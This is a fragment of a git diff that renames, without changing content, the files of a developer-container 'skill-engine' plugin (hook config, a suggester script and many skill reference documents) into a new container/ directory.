.devcontainer/plugins/devs-marketplace/plugins/skill-engine/hooks/hooks.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/hooks/hooks.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/scripts/skill-suggester.py b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/scripts/skill-suggester.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/scripts/skill-suggester.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/scripts/skill-suggester.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/api-design/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/api-design/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/api-design/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/api-design/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/api-design/references/error-handling.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/api-design/references/error-handling.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/api-design/references/error-handling.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/api-design/references/error-handling.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/api-design/references/rest-conventions.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/api-design/references/rest-conventions.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/api-design/references/rest-conventions.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/api-design/references/rest-conventions.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/ast-grep-patterns/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/ast-grep-patterns/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/ast-grep-patterns/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/ast-grep-patterns/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/ast-grep-patterns/references/language-patterns.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/ast-grep-patterns/references/language-patterns.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/ast-grep-patterns/references/language-patterns.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/ast-grep-patterns/references/language-patterns.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/claude-agent-sdk/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/claude-agent-sdk/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/claude-agent-sdk/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/claude-agent-sdk/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/claude-agent-sdk/references/sdk-typescript-reference.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/claude-agent-sdk/references/sdk-typescript-reference.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/claude-agent-sdk/references/sdk-typescript-reference.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/claude-agent-sdk/references/sdk-typescript-reference.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/claude-code-headless/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/claude-code-headless/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/claude-code-headless/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/claude-code-headless/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/claude-code-headless/references/cli-flags-and-output.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/claude-code-headless/references/cli-flags-and-output.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/claude-code-headless/references/cli-flags-and-output.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/claude-code-headless/references/cli-flags-and-output.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/claude-code-headless/references/sdk-and-mcp.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/claude-code-headless/references/sdk-and-mcp.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/claude-code-headless/references/sdk-and-mcp.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/claude-code-headless/references/sdk-and-mcp.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/debugging/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/debugging/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/debugging/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/debugging/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/debugging/references/error-patterns.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/debugging/references/error-patterns.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/debugging/references/error-patterns.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/debugging/references/error-patterns.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/debugging/references/log-locations.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/debugging/references/log-locations.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/debugging/references/log-locations.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/debugging/references/log-locations.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/dependency-management/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/dependency-management/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/dependency-management/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/dependency-management/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/dependency-management/references/ecosystem-commands.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/dependency-management/references/ecosystem-commands.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/dependency-management/references/ecosystem-commands.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/dependency-management/references/ecosystem-commands.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/dependency-management/references/license-compliance.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/dependency-management/references/license-compliance.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/dependency-management/references/license-compliance.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/dependency-management/references/license-compliance.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker-py/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker-py/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker-py/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker-py/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker-py/references/container-lifecycle.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker-py/references/container-lifecycle.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker-py/references/container-lifecycle.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker-py/references/container-lifecycle.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker-py/references/resources-and-security.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker-py/references/resources-and-security.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker-py/references/resources-and-security.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker-py/references/resources-and-security.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker/references/compose-services.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker/references/compose-services.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker/references/compose-services.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker/references/compose-services.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker/references/dockerfile-patterns.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker/references/dockerfile-patterns.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker/references/dockerfile-patterns.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/docker/references/dockerfile-patterns.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/documentation-patterns/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/documentation-patterns/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/documentation-patterns/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/documentation-patterns/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/documentation-patterns/references/api-doc-templates.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/documentation-patterns/references/api-doc-templates.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/documentation-patterns/references/api-doc-templates.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/documentation-patterns/references/api-doc-templates.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/documentation-patterns/references/docstring-formats.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/documentation-patterns/references/docstring-formats.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/documentation-patterns/references/docstring-formats.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/documentation-patterns/references/docstring-formats.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/references/middleware-and-lifespan.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/references/middleware-and-lifespan.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/references/middleware-and-lifespan.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/references/middleware-and-lifespan.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/references/pydantic-models.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/references/pydantic-models.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/references/pydantic-models.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/references/pydantic-models.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/references/routing-and-dependencies.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/references/routing-and-dependencies.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/references/routing-and-dependencies.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/references/routing-and-dependencies.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/references/sse-and-streaming.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/references/sse-and-streaming.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/references/sse-and-streaming.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/references/sse-and-streaming.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/git-forensics/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/git-forensics/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/git-forensics/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/git-forensics/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/git-forensics/references/advanced-commands.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/git-forensics/references/advanced-commands.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/git-forensics/references/advanced-commands.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/git-forensics/references/advanced-commands.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/git-forensics/references/investigation-playbooks.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/git-forensics/references/investigation-playbooks.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/git-forensics/references/investigation-playbooks.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/git-forensics/references/investigation-playbooks.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/migration-patterns/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/migration-patterns/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/migration-patterns/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/migration-patterns/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/migration-patterns/references/javascript-migrations.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/migration-patterns/references/javascript-migrations.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/migration-patterns/references/javascript-migrations.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/migration-patterns/references/javascript-migrations.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/migration-patterns/references/python-migrations.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/migration-patterns/references/python-migrations.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/migration-patterns/references/python-migrations.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/migration-patterns/references/python-migrations.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/performance-profiling/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/performance-profiling/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/performance-profiling/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/performance-profiling/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/performance-profiling/references/interpreting-results.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/performance-profiling/references/interpreting-results.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/performance-profiling/references/interpreting-results.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/performance-profiling/references/interpreting-results.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/performance-profiling/references/tool-commands.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/performance-profiling/references/tool-commands.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/performance-profiling/references/tool-commands.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/performance-profiling/references/tool-commands.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/pydantic-ai/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/pydantic-ai/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/pydantic-ai/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/pydantic-ai/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/pydantic-ai/references/agents-and-tools.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/pydantic-ai/references/agents-and-tools.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/pydantic-ai/references/agents-and-tools.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/pydantic-ai/references/agents-and-tools.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/pydantic-ai/references/models-and-streaming.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/pydantic-ai/references/models-and-streaming.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/pydantic-ai/references/models-and-streaming.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/pydantic-ai/references/models-and-streaming.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/refactoring-patterns/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/refactoring-patterns/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/refactoring-patterns/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/refactoring-patterns/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/refactoring-patterns/references/safe-transformations.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/refactoring-patterns/references/safe-transformations.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/refactoring-patterns/references/safe-transformations.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/refactoring-patterns/references/safe-transformations.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/refactoring-patterns/references/smell-catalog.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/refactoring-patterns/references/smell-catalog.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/refactoring-patterns/references/smell-catalog.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/refactoring-patterns/references/smell-catalog.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/security-checklist/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/security-checklist/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/security-checklist/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/security-checklist/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/security-checklist/references/owasp-patterns.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/security-checklist/references/owasp-patterns.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/security-checklist/references/owasp-patterns.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/security-checklist/references/owasp-patterns.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/security-checklist/references/secrets-patterns.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/security-checklist/references/secrets-patterns.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/security-checklist/references/secrets-patterns.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/security-checklist/references/secrets-patterns.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/skill-building/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/skill-building/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/skill-building/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/skill-building/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/skill-building/references/cross-vendor-principles.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/skill-building/references/cross-vendor-principles.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/skill-building/references/cross-vendor-principles.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/skill-building/references/cross-vendor-principles.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/skill-building/references/patterns-and-antipatterns.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/skill-building/references/patterns-and-antipatterns.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/skill-building/references/patterns-and-antipatterns.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/skill-building/references/patterns-and-antipatterns.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/skill-building/references/skill-authoring-patterns.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/skill-building/references/skill-authoring-patterns.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/skill-building/references/skill-authoring-patterns.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/skill-building/references/skill-authoring-patterns.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/references/advanced-queries.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/references/advanced-queries.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/references/advanced-queries.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/references/advanced-queries.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/references/javascript-patterns.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/references/javascript-patterns.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/references/javascript-patterns.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/references/javascript-patterns.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/references/python-patterns.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/references/python-patterns.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/references/python-patterns.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/references/python-patterns.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/references/schema-and-pragmas.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/references/schema-and-pragmas.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/references/schema-and-pragmas.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/references/schema-and-pragmas.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/ai-sdk-svelte.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/ai-sdk-svelte.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/ai-sdk-svelte.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/ai-sdk-svelte.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/component-patterns.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/component-patterns.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/component-patterns.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/component-patterns.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/layercake.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/layercake.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/layercake.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/layercake.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/migration-guide.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/migration-guide.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/migration-guide.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/migration-guide.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/runes-and-reactivity.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/runes-and-reactivity.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/runes-and-reactivity.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/runes-and-reactivity.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/spa-and-routing.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/spa-and-routing.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/spa-and-routing.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/spa-and-routing.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/svelte-dnd-action.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/svelte-dnd-action.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/svelte-dnd-action.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/svelte-dnd-action.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/team/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/team/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/team/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/team/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/testing/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/testing/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/testing/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/testing/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/testing/references/fastapi-testing.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/testing/references/fastapi-testing.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/testing/references/fastapi-testing.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/testing/references/fastapi-testing.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/testing/references/svelte-testing.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/testing/references/svelte-testing.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/testing/references/svelte-testing.md rename to 